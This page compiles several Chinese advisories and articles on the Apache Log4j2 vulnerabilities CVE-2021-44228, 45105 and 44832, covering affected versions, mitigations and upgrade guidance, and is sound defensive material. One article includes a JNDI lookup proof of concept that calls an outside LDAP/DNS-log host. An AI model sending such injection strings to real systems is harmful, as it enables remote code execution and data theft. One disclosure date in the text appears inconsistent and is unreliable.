log4j漏洞原理,烽火狼烟丨Apache Log4j2拒绝服务攻击（CVE45105）漏洞通告
log4j漏洞原理,烽火狼烟丨Apache Log4j2拒绝服务攻击（CVE45105）漏洞通告详细介绍
本文目录一览： 警惕！Apache Log4j任意代码执行漏洞正被广泛利用
漏洞名称： Apache Log4j任意代码执行漏洞
漏洞性质： 任意代码执行
漏洞描述：
Apache Log4j 是 Apache 的一个开源项目，Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发，用来记录日志信息。log4j2是全球使用广泛的java日志框架，同时该漏洞还影响很多全球使用量的Top序列的通用开源组件，例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。
漏洞危害：
Log4j-2中存在JNDI注入漏洞，当程序将用户输入的数据被日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码，可能对用户造成不可挽回的损失。
危害等级：严重
漏洞复现：
影响版本：
Apache Log4j 2.x <= 2.14.1
临时修复方案：
1.修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
2.修改配置
log4j2.formatMsgNoLookups=True
3.将系统环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
修复建议：
1、厂商已发布升级修复漏洞，用户请尽快更新至安全版本：log4j-2.15.0-rc1 下载链接：
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2、升级已知受影响的应用及组件，如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
3、手动替换 log4j2 版本为 2.15.1-SNAPSHOT
log4j-core: https://repository.apache.org/content/groups/snapshots/org/apache/logging/log4j/log4j-core/2.15.1-SNAPSHOT/log4j-core-2.15.1-20211209.191737-4.jar
log4j-api:
https://repository.apache.org/content/groups/snapshots/org/apache/logging/log4j/log4j-api/2.15.1-SNAPSHOT/log4j-api-2.15.1-20211209.191737-4.jar
log4j-slf4j18-impl: https://repository.apache.org/content/groups/snapshots/org/apache/logging/log4j/log4j-slf4j18-impl/2.15.1-SNAPSHOT/log4j-slf4j18-impl-2.15.1-20211209.191737-4.jar
4、做好资产自查以及预防工作，以免遭受黑客攻击
【预警通报】关于Apache Log4j2远程代码执行漏洞的紧急预警通报
近日，我中心技术支撑单位监测到Apache Log4j2远程代码执行高危漏洞，攻击者利用漏洞可以在目标服务器上执行任意代码。安全级别为“高危”。
一、漏洞情况
Apache Log4j2是一个基于Java的日志记录工具，存在JNDI注入漏洞，开发者可能会将用户输入导致的错误信息写入日志中，当程序将用户输入的数据进行日志记录时，即可触发此漏洞。
二、影响范围
Apache log4j2 2.0 - 2.14.1 版本均受影响。
三、处置建议
请广大用户更新官方安全补丁或升级到最新版本，并做好网络安全防护工作。
附件：参考链接 ：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
由log4j远程执行漏洞说起
这几天让IT从业人员忙的不可开交的头等大事便是Log4j的远程执行漏洞了，我们先看一个简单的PoC：
先前往dnslog网站，申请一个子域名，假如是“subdomain.dnslog.cn”。
然后执行java Main ${jndi:ldap://subdomain.dnslog.cn/any}，我们在dnslog网站上刷新请求记录，便会看到申请的子域名被访问了。
如果你是一个开发者，你会知道我们的代码里面毫无疑问充斥着大量这种用法。如果你是一个安全人员，自然知道当恶意访问人员输入时可不只是访问个域名就完事，很有可能把主机密码就传到指定网站了。
那解决的办法在各大厂、安全公司等也已经公布了，无非以下几种：
WAF或防火墙规则，我们先不聊，这个大公司都会做，但并不能完全解除问题。
我们把升级JDK、升级logback、替换成logback以及移除log4j的JNDI相关类都可以看作类库升级。一方面，这些方案都需要一个应用一个应用去执行（甚至有些需要一个一个实例去处理），重复劳动，投入较大；另一方面，兼容性存疑，在升级前必然要做一定的回归测试。此处的兼容性，可以略举一些例子：比如代码里写死了log4j的实现类，而不是slf4j的api时，想要直接替换成logback就不现实。有人可能会说代码规范不允许，但他们忘了，规范和执行是2个相关的事情，但不是必然的因果关系。比如一些只做维护的老系统，存在时间比很多人工龄都长，还有一些是外包产商开发维护的系统，这种情况就是稳定重于一切。
其余几个都是修改配置，但其中略有差异。比如环境变量影响操作系统上所有的应用，如果某个应用JDK版本较高，又刚好需要这个特性，那么就容易产生bug了。修改PatternLayout容易遗漏，比如通常在自己应用的log4j配置文件，但也有可能内部框架做了封装，在jar包有配置，甚至在代码里做了配置。而在log4j2.component.properties添加配置同修改PatternLayout，也还是需要重新打包构建（除非有统一配置中心，并魔改log4j）。
综上来看，我们要避免开发人员修改、避免再次构建，只做重启的话，只能是修改环境变量或添加启动参数了。当然，每个公司有它自己的体系，某些时候大众意义的不好用对于它而言，反而是最简单的。比如，没有自动化（尤其是k8s）的公司，想要改启动参数，运维一个个实例去修改，那简直痛不欲生。
如果我们是log4j的开发人员，当产品经理提出一个需求，即碰到由“${”开头、“}”结尾的日志时，自动做替换，这个需求我们要不要做，怎么做。
刚入行的我是不会问要不要做的，只会想着怎么做，那自然是匹配、解析了。
有一定经验的我则会问这个需求为了解决什么问题，有没有比产品经理提的刚恰当的方式来解决（产品经理资历较浅，或者对产品不够熟悉时）。那我们可以看下log4j这个需求的提交记录最早可以追溯到2013年了，提交记录较多，可以通过代码反向推测需求：类似slf4j，将日志中的占位符替换成真实值，真实值可以延迟计算，计算来源支持扩展。
从代码看，目前已有的扩展包括ctx（日志事件的上下文）、date（日志事件产生的时间）、env（系统环境）、jndi（JNDI上下文获取）、map、sd（结构化事件类型中获取）、sys（系统属性）、web（从web.xml等取ServletContext）
需求是实现了，那还有吗？
如果是一个资深的研发人员就会问了，有预计的使用频率吗，如果使用频率非常高，性能就需要注意不能拖后腿；这个特性如果出现问题，需要关闭，最好能动态关闭；这个特性实际使用了多少次，耗时多少，报错多少；这个是否会在多线程环境下执行，这段代码是否线程安全；用户的输入能否对服务器产生破坏，保存后对其他用户是否产生安全问题。
在一个成熟的企业中，需要考虑诸如此类的问题。当然，很多东西可以模板化，减少开发人员心智，比如CI/CD实践中的自动化测试和DevSecOps。
为什么这次的影响这么大，因为它是基础库，比如dubbo、kafka、flink等很多框架和中间件都用到了它。同时，这从侧面说明log4j2是一个比较值得选取的日志库。
那回到技术选型，以日志为例，我们需要考虑哪些方面呢？
功能。功能是否契合企业需求，缺失功能是否在未来计划，或者扩展实现难度。如果功能都不满足，那自然pass。log4j、logback、log4j2都提供了将日志输出的功能，功能上都能满足，细节根据各企业自身情况而定了。
性能。性能自然是非常重要的，生产是没法debug的，只能通过日志来跟踪某一个事务的情况，如果日志耗时太多，TPS自然受影响，用户体验变差，还可能导致硬件成本上升。log4j2的性能就比logback要出色，logback比log4j要出色。
群众基础和易用性。如果没人会用，使用起来也困难，大概率很难被接受，也很难流行。文档是否介绍了架构设计，也有使用文档，文档是否支持多种语言（本土语言）。log4j2的配置就比较多，特别是想要较高性能时，配置更是复杂。
稳定性与活跃度。生产上使用，肯定要求稳，不可能三五天做一次修复升级。如果功能还未按计划完全实现，那么迭代升级过程中会碰到诸多问题，需要有较多的人提前使用反馈意见做改进，出现问题时，能够通过搜索引擎或其他社群解决。
开源协议。如果不开源，那么使用时心中便会有诸多不安，万一哪个地方有雷都不知道，出了问题，自己能解决的概率也极低。比如MySQL的双协议，要求要么交费，要么开源改动，不如Apache Licence等宽松，导致很多公司开始选择PostgreSQL。
生态。与企业的整套框架是否有冲突，开发流程上是否需要做额外的事情。比如很多框架用了log4j2，贸然引进logback，势必多出工作量来排除log4j2的依赖。比如开发流程工具只支持logback（当然这种场景基本没有），那么使用log4j2就需要再仔细想想了。
架构设计与代码质量。如果代码的架构设计较差，扩展性没设计好，那么企业内部做扩展（二次开发）时，只能修改代码，与源头分叉，后续几乎没法合并，无法反哺开源社区，企业内部后续升级也十分困难。如果代码质量太差，一步一坑，大家直接用脚投票的。
前瞻性。架构设计要有一定的前瞻性，以应对未来的变化。功能建设上也要有一定的前瞻性，实现、验证、上线三者之间还是需要一定时间的。比起等待，大部分人都是想我现在要。
烽火狼烟丨Apache Log4j2拒绝服务攻击（CVE45105）漏洞通告
漏洞概述
近日，WebRAY安全服务部监测到编号为：CVE-2021-45105的Apache Log4j2拒绝服务攻击漏洞，当系统日志配置使用非默认的模式布局和上下文查找时，攻击者可以通过构造包含递归查找数据包的方式，控制线程上下文映射 (MDC)，导致StackOverflowError产生并终止进程，实现拒绝服务攻击。目前只有log4j-core JAR 文件受此漏洞影响。仅使用log4j-api JAR文件而不使用log4j-core JAR文件的应用程序不受此漏洞的影响。
Apache Log4j2是Log4j的升级版本，该版本与之前的log4j1.x相比带来了显著的性能提升，并且修复一些存在于Logback中固有的问题的同时提供了很多在Logback中可用的性能提升，Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
影响范围
漏洞等级
WebRAY安全服务部风险评级：高危
修复建议
1、官方已发布安全版本，请及时下载更新，下载地址：
https://github.com/apache/logging-log4j2/tags
2、临时缓解措施：
在日志记录配置的PatternLayout中，用线程上下文映射模式（%X、%mdc或%MDC）替换${ctx:loginId} 、${ctx:loginId} 等涉及上下文查找的内容。当所使用诸如HTTP标头或用户输入等应用程序外部的数据时，可以删除对上下文查找的引用。
腾讯安全刚刚给出了Log4j2核弹级漏洞线上修复方案！紧急修复
2月9日晚，Apache Log4j2反序列化远程代码执行漏洞细节已被公开，Apache Log4j-2中存在JNDI注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。
因该组件使用极为广泛，利用门槛很低，危害极大，腾讯安全专家建议所有用户尽快升级到安全版本。
高危，该漏洞影响范围极广，利用门槛很低，危害极大。 CVSS评分：10（最高级）
Apache log4j2 >= 2.0,
Apache log4j2 2.15.0
综合国内机构意见，目前针对Apache Log4j漏洞的主要应对方法如下：
1.Apache Log4j 官方已经发布了解决上述漏洞的安全更新，建议受影响的用户尽快升级到安全版本：
安全版本 ：log4j-2.15.0-rc2
官方安全版本下载可以参考以下链接：
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2.建议对 Apache Struts2/Apache Solr/Apache Flink/Apache Druid 等已知受影响的应用及组件进行升级
1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。
2.设置log4j2.formatMsgNoLookups=True。
3.设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 为 true。
4.采用 rasp 对lookup的调用进行阻断。
5.采用waf对请求流量中的${jndi进行拦截。
6.禁止不必要的业务访问外网。
腾讯安全服务解决方案： https://view.inews.qq.com/a/20211211A032S100
各组织开源项目对 Log4Shell 漏洞的响应汇总
出品|开源中国
作者|罗奇奇
本文旨在介绍 Log4shell 漏洞，并 收集各组织/开源项目对该漏洞的响应 ，以让各大开发者对该漏洞的危害有所了解，避免更多损失。
Log4shell 漏洞背景说明
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰富的特性，被大量用于业务系统开发，用来记录日志信息。
CVE-2021-44228 远程控制漏洞（RCE）影响从 2.0-beta9 到 2.14.1 的 Log4j 版本。受影响的 Log4j 版本包含 Java 命名和目录接口 (JNDI) 功能，可以执行如消息查找替换等操作，攻击者可以通过向易受攻击的系统提交特制的请求，从而完全控制系统，远程执行任意代码，然后进行窃取信息、启动勒索软件或其他恶意活动。
Apache Log4j2 安全补丁更新过程
官方通告
Apache Log4j 2 2.0-beta9 到 2.12.1 和 2.13.0 到 2.15.0 版本的 JNDI 功能在配置、日志消息和参数中使用，无法防止攻击者控制的 LDAP 和其他 JNDI 相关端点。当启用消息查找替换时，控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。从 log4j 2.15.0 开始，默认情况下已禁用此行为。从版本 2.16.0 开始，此功能已完全删除。请注意，此漏洞特定于 log4j-core，不会影响 log4net、log4cxx 或其他 Apache 日志服务项目。
Apache Log4j 2.15.0 中针对 CVE-2021-44228 的修复在某些非默认配置中不完整。当日志配置使用非默认模式布局和上下文查找（例如，${ctx:loginId}）或线程上下文映射模式（ %X、%mdc 或 %MDC）使用 JNDI 查找模式制作恶意输入数据，从而导致拒绝服务 (DOS) 攻击。默认情况下，Log4j 2.15.0 尽最大努力将 JNDI LDAP 查找限制为 localhost。Log4j 2.16.0 通过删除对消息查找模式的支持和默认禁用 JNDI 功能来修复此问题。
当攻击者对 Log4j 配置具有写访问权限时，Log4j 1.2 中的 JMSAppender 容易受到不可信数据的反序列化。攻击者可以提供 TopicBindingName 和 TopicConnectionFactoryBindingName 配置，导致 JMSAppender 以类似于 CVE-2021-44228 的方式执行 JNDI 请求，从而导致远程代码执行。
注意， JMSAppender 不是 Log4j 的默认配置，因此此漏洞 仅在特别配置为 JMSAppender 时才会影响 Log4j 1.2 。事实上 Apache Log4j 1.2 已于 2015 年 8 月终止生命周期。用户应该升级到Log4j 2，因为它解决了以前版本的许多其他问题。
组织/开源项目的响应
已修复/更新：
不受影响：
影响待定
发布漏洞相关工具
此列表将持续更新 ，俺一个人能力有限，欢迎大家在评论区分享你所了解的公司/组织/开源项目对 Log4shell 漏洞的回应，格式为 公司/组织/项目名称 | 回应类别（已更新/修复/不受影响等）| 回应链接 。 此漏洞影响面太广，希望大家一起合作，避免更多组织或个人因此受到损失。
烽火狼烟丨Apache Log4j2远程代码执行漏洞（CVE44832）通告
漏洞概述
近日，WebRAY安全服务部监测到编号为CVE-2021-44832的Apache Log4j2远程代码执行漏洞。攻击者可以通过修改配置文件中JNDI 动态及远程获取数据库源处插入恶意代码，造成远程代码执行漏洞，但想要成功利用该漏洞需要攻击者有权限修改Log4j2的配置文件，利用难度较高。WebRAY安全服务部建议相关用户采取安全措施防止漏洞攻击。
Apache Log4j2是Log4j的升级版本，该版本与之前的log4j1.x相比性能显著提升；在修复了一些存在于Logback中固有的问题的同时，提供了很多在Logback中可用的性能。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
影响范围
2.0-beta7 <= Log4j2<= 2.17.0（不包括安全修复版本 2.3.2 和 2.12.4）
漏洞等级
WebRAY安全服务部风险评级：中危
修复建议
建议用户及时升级到Log4j 2.3.2（适用于Java 6）、2.12.4（适用于Java 7）或 2.17.1（适用于 Java 8 及更高版本），官方下载地址：
https://logging.apache.org/log4j/2.x/download.html
注：从2.17.1版本（适用于 Java 8 及更高版本）、2.12.4（适用于Java 7）、2.3.2（适用于Java 6）开始，已删除对LDAP协议的支持，并且 JNDI 连接仅支持JAVA协议。启用JNDI的属性已从“log4j2.enableJndi”重命名为三个单独的属性：log4j2.enableJndiLookup、log4j2.enableJndiJms和log4j2.enableJndiContextSelector。
参考链接
https://logging.apache.org/log4j/2.x/security.html
https://github.com/apache/logging-log4j2
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832
导致阿里云被处罚的log4j2是个什么？
阿里云的员工发现了log4j组件的重要安全漏洞，只上报了Apache，没有告知GXB，受到了处罚。
log4j2是从log4j一步步变过来的。它就是一个用Java编写的可靠、快速和灵活的日志框架，是在Apache软件许可证下发布的。
log4j开始与1996年初。当时它用作欧盟SEMPER(欧洲安全电子市场Secure Electronic Marketplace for Europe)项目的追踪API（应用程序接口）。
经过无数的增强和改进，最初的API就发展成为log4j，一种流行的Java日志包。
日志包就是用来记录系统或软件运行过程中的信息接口函数的集合，让开发软件的程序员调用来记录运行信息：程序跑到哪一步了？运行过程中出现了什么错误？等等。
日志记录模块是不跟普通用户打交道的，是给程序员调试用的。但它是软件开发的一个重要组成部分。编写良好的日志代码提供了快速调试、易于维护和结构化存储应用程序运行时信息的功能。
不过，日志记录模块也有它的缺点。它会降低应用程序的速度。而log4j则被设计成可靠、快速和可扩展的的日志包，再加上是开源的，因此用的非常多。
也正式因为应用广泛这个原因，log4j2的重要安全漏洞影响面也相应的很大。
log4j2漏洞CVE44228官方修复方案
apache官网发布了log4j2的漏洞修复方案，大致是这么说的
log4j团队注意到了安全漏洞CVE-2021-44228，这个问题已经在 Log4j 2.15.0版本里修复了。
Log4j’s JNDI支持没有限定哪个名字可以被用，一些协议是非安全的，可能会被允许远程代码执行。log4j现在限制了只有java、ldap和ladps可以使用此协议，并且限制了ldap协议只能在本地访问java的私有对象。
由于log4j允许在日志消息里查找，这个场景可能会导致漏洞爆出。在log4j 2.15.0里这个特性被默认禁用了。尽管提供了启动查找的方式，用户依然强烈反对启用它。
对于无法升级到2.15.0的，并且版本>=2.10的，这个漏洞可以通过设置jvm参数 log4j2.formatMsgNoLookups 或者环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为true的方法去减轻问题。对于 2.0-beta9 to 2.10.0,可以通过移除 JndiLookup 类的方式减轻，命令为：zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。
以下为英文全文
The Log4j team has been made aware of a security vulnerability, CVE-2021-44228, that has been addressed in Log4j 2.15.0.
Log4j’s JNDI support has not restricted what names could be resolved. Some protocols are unsafe or can allow remote code execution. Log4j now limits the protocols by default to only java, ldap, and ldaps and limits the ldap protocols to only accessing Java primitive objects by default served on the local host.
One vector that allowed exposure to this vulnerability was Log4j’s allowance of Lookups to appear in log messages. As of Log4j 2.15.0 this feature is now disabled by default. While an option has been provided to enable Lookups in this fashion, users are strongly discouraged from enabling it.
For those who cannot upgrade to 2.15.0, in releases >=2.10, this vulnerability can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true . For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class .
链接地址：https://logging.apache.org/log4j/2.x/